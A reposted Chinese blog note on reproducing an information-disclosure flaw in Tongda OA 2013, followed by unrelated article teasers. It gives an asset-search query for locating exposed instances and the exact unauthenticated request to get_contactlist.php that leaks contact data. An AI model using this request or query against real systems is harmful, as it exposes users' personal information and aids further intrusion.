【漏洞复现-通达OA】通达OA get_contactlist.php 敏感信息泄漏漏洞

🕗 发布于 2024-02-18 18:02 php 开发语言 OA

一、漏洞简介

通达OA get_contactlist.php文件存在信息泄漏漏洞，攻击者通过漏洞可以获取敏感信息，进一步攻击。

二、影响版本

● 通达OA2013

三、资产测绘

● hunterapp.name="通达 OA"
● 特征
在这里插入图片描述四、漏洞复现

/mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3

在这里插入图片描述

原文地址：https://blog.csdn.net/qq_33331244/article/details/136154102

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

上一篇：通俗易懂地解释OpenAI Sora视频生成的特点有哪些？与Runway Gen2、Pika有什么区别？缺点是什么？
下一篇：matlab中mosek安装教程

Leetcode刷题. 贪心算法
比较传统的解释：将整个问题拆解为几个小问题，找到小问题的最优解，加起来就是整个问题的全局最优解。对于现在的我理解贪心就是一种感觉，给出证明很难，解题思路一般就是认真读题，发掘题目的条件，然后尝试给出算
阅读更多2024-10-14
Redis JSON数据结构详解及Java实现
Redis JSON数据结构提供了一种灵活且高效的方式来存储和操作复杂的嵌套数据，支持多种JSON数据类型和丰富的API。它在用户信息管理、配置管理、电商订单管理和日志数据存储等多个应用场景中表现出色
阅读更多2024-10-14
开发指南072-图片热点
/处理跳转： area.getAttribute('href');平台支持使用图像导航界面，例如展示如下一张图，用户点击对应位置触发对应动作。热点数据通过后台接口获取（注意处理权限，没有权限的热点不生
阅读更多2024-10-13
使用机器学习边缘设备的快速目标检测
这项机器学习研究探讨了一种低成本的边缘设备，该设备与具有计算机视觉功能的嵌入式系统集成，以提高目标检测和分类的推理时间和精度。研究的主要目标是减少推理时间并降低功耗，以支持一个竞技型类人机器人的嵌入式
阅读更多2024-10-13
【Windows】【DevOps】Windows Server 2022 安装ansible，基于powershell实现远程自动化运维部署入门到放弃！
文件URL：https://www.python.org/ftp/python/3.13.0/python-3.13.0-amd64.exe。直接拿linux主机测试ansible连接windows
阅读更多2024-10-13
C# 中循环的应用说明
一循环的概念说明二、循环类型三、循环控制语句四、无限循环
阅读更多2024-10-13
Linux `vmstat` 命令详解
vmstat（Virtual Memory Statistics）是 Linux 系统中的一个监控工具，用于报告系统的虚拟内存、进程、CPU 活动等信息。它能帮助用户了解系统的整体性能状况，尤其是内存
阅读更多2024-10-13
Linux下多任务编程（网络编程2）
本文介绍解决accpet和recv相互阻塞的问题，可以用多线程并发外也可以用epoll I/O多路复用的方式解决。
阅读更多2024-10-13
[单master节点k8s部署]37.微服务（一)springCloud 微服务
微服务架构的一个重要特点是，它与开发中使用的具体或无关。每个微服务都可以使用最适合其功能需求的语言或技术来实现。例如，一个微服务可以用Java编写，另一个微服务可以用Python、Go、Node.js
阅读更多2024-10-13
Zynq(3)使用外设MIO/EMIO
使用MIO/EMIO实现流水灯，着重介绍Zynq IP核的配置，解读vitis中的c语言程序，介绍MIO与EMIO的区别。
阅读更多2024-10-13

【漏洞复现-通达OA】通达OA get_contactlist.php 敏感信息泄漏漏洞

一、漏洞简介

二、影响版本

三、资产测绘

相关文章